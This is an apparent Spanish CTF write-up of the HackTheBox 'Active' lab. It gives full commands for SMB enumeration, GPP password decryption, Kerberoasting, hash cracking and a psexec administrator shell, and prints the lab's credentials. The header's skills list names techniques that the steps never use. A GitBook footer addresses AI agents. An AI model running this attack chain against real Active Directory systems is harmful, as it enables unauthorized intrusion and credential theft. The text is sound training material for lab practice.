> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md).

# Resolución de HackTheBox Active

{% embed url="<https://app.hackthebox.com/machines/148>" %}

{% hint style="warning" %}
**Habilidades**:

* Enumeración SMB
* Descifrado de archivo ZIP protegido con contraseña (fcrackzip)
* Descifrado y lectura de archivo .PFX (crackpkcs12)
* Obteniendo acceso SSL con Evil-WinRM
* Fuga de información - Lectura del historial de Powershell del usuario (pivotaje de usuario)
* Abusar de LAPS para obtener contraseñas (Get-LAPSPasswords.ps1) (Escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/ebda9cf86a542a0305886bc703226be4507f8884" alt=""><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/048bca324b7578aff9ad153faaab2bee10231b6d" alt=""><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**/ Enumerar los puertos abiertos y exportar los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.100 -oG allPorts
```

<figure><img src="/files/5251e954ec99c4904586ebdaadc2a33621aa78e1" alt=""><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractport:**/ Usando la función extractport para mostrar de forma concisa los puertos abiertos y copiarlos al portapapeles.

<div data-full-width="true"><figure><img src="/files/0b31660dda08e545af1dc7e5706be76037b83c2b" alt=""><figcaption></figcaption></figure></div>

**Escaneo de versión de puertos con Nmap:**/ Usar Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49168,49173 10.10.10.100 -oN targeted
```

<figure><img src="/files/aba1113ae5daaba4494eb8f3c5f1b443f5c06ed2" alt=""><figcaption></figcaption></figure>

## **Enumeración y explotación:**

### **Enumeración SMB:**

Usar crackmapexec para listar sistemas y encontrar el nombre del dominio.

```bash
crackmapexec smb 10.10.10.100
```

<figure><img src="/files/8318e4dd85fa067ebce8d5447a40e35a5bf6b86a" alt=""><figcaption></figcaption></figure>

#### **Ajuste de tiempo con NTP:**

Ajustar la hora de la máquina objetivo para evitar problemas

```bash
ntpdate 10.10.10.100
```

<figure><img src="/files/fd7152cc8dc9deaa75b90261480bc5f9c1f7a9cb" alt=""><figcaption></figcaption></figure>

#### Configuración de /etc/hosts:

Se añadió el controlador de dominio al archivo hosts para permitir el ping:

<figure><img src="/files/a5902aada56dbdd7a2aa2cdb1e6cfa0e4e2f997b" alt=""><figcaption></figcaption></figure>

### **Listado de recursos compartidos**

Usar smbclient o smbmap para explorar los recursos compartidos en la red.

```bash
smbclient -L 10.10.10.100 -N
```

<figure><img src="/files/fcf4ff7e2cf605cf72853b0e7271a21cf84616ad" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100
```

<figure><img src="/files/4135c0b4e736e77695929d706c8a1d401b96b50d" alt=""><figcaption></figcaption></figure>

### **Buscar archivos específicos**:

Explorar directorios en busca de archivos relevantes

```bash
smbmap -H 10.10.10.100 -r Replication
```

<figure><img src="/files/da956de708bc28e8f7b4205817c088fe05e9e0a5" alt=""><figcaption></figcaption></figure>

```bash
smbmap -H 10.10.10.100 -r Replication/active.htb
```

<figure><img src="/files/80e633fea7d512ab7071afbe376022e50a494e66" alt=""><figcaption></figcaption></figure>

El `groups.xml` se identifica un archivo que puede contener información confidencial.

```bash
smbmap -H 10.10.10.100 --download Replication/active.htb/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml
```

<div data-full-width="true"><figure><img src="/files/3a4eb63b67689b6a3355e6de7a17dbbce9d30e9f" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="/files/e8b31184e71fa9302348525326768e03411a88ed" alt=""><figcaption></figcaption></figure></div>

### **Descifrado de la contraseña:**

Utilice `gpp-decrypt` para descifrar contraseñas almacenadas.

```bash
gpp-decrypt 'edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ'
```

<figure><img src="/files/aa073631493834f6265d262a250e02967ab4d39e" alt=""><figcaption></figcaption></figure>

### **Validación de identificadores:**

Usar crackmapexec para comprobar si los identificadores son válidos

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'
```

<figure><img src="/files/173491268464d33bdd07d16848891a85e929dab2" alt=""><figcaption></figcaption></figure>

### **Exploración de permisos:**

Usar crackmapexec y smbmap para explorar los permisos en los recursos compartidos de red.

```bash
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares
```

<figure><img src="/files/bea5cd892bb38587bc436f0d138d32909734dc9c" alt=""><figcaption></figcaption></figure>

### Flag de user.txt obtenida:

```bash
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users
```

<figure><img src="/files/d9a896a93e3dd092bd9b708c535e9dbae560ff64" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/901b0293f813d5402c4361ed62b88492cd1837fe" alt=""><figcaption></figcaption></figure>

### **Inicio de sesión en el controlador de dominio:**

Usando rpcclient para conectarse al controlador de dominio y explorar usuarios y grupos:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100
```

<figure><img src="/files/4192f625661329a7c027b02b3b81c2a494ffc9e1" alt=""><figcaption></figcaption></figure>

#### - Para identificar a los miembros del grupo de administradores:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querygroupmem 0x200'
```

#### - Para obtener usuarios en un grupo específico:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'queryuser 0x1f4'
```

<figure><img src="/files/8962e8c7eb5a7ec59c571832867d01e3cfe9acc7" alt=""><figcaption></figcaption></figure>

#### - Para listar las descripciones de todos los usuarios:

```bash
rpcclient -U "SVC_TGS%GPPstillStandingStrong2k18" 10.10.10.100 -c 'querydispinfo'
```

<div data-full-width="true"><figure><img src="/files/19f6471813b4f74379bd75fb9ba10536f6039626" alt=""><figcaption></figcaption></figure></div>

## Vulnerabilidad [Kerberoast](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/kerberoast):

La vulnerabilidad Kerberoast se explota con éxito mediante el siguiente comando:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18
```

Este comando recupera un ticket de servicio del Servicio de Concesión de Tickets (TGS) que explota la vulnerabilidad.

Luego, para obtener un hash de administrador, se añade el parámetro -request al comando:

```bash
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request
```

<figure><img src="/files/472b0979b44b976266f18db3a3f903a07cb47604" alt=""><figcaption></figcaption></figure>

## **Explotación final:**

### **Crackeo del hash:**

Usa John para intentar descifrar los hashes obtenidos.

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

<figure><img src="/files/56e3894b37344d61a2bd203a6d22afc335552527" alt=""><figcaption></figcaption></figure>

### **Validación de identificadores:**

Usar crackmapexec para validar las credenciales obtenidas

```bash
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'
```

<div data-full-width="true"><figure><img src="/files/65922bcfda821260cdb1ab759babfacc7fc25951" alt=""><figcaption></figcaption></figure></div>

### **Ejecución de psexec:**

Usar psexec.py para obtener una shell interactiva como administrador.

```bash
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100 cmd.exe
```

<figure><img src="/files/088c17336f0c7f36e1885044dbbba7f030aeb031" alt=""><figcaption></figcaption></figure>

### **Bandera final obtenida:**

Obtener con éxito la bandera final una vez que se obtiene acceso de administrador.

<figure><img src="/files/b2a289268c67c4a3939c694d75a17dfc6c26de61" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/15e5d4234216ada77c1c240e04c9608b88365dfa" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/active-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
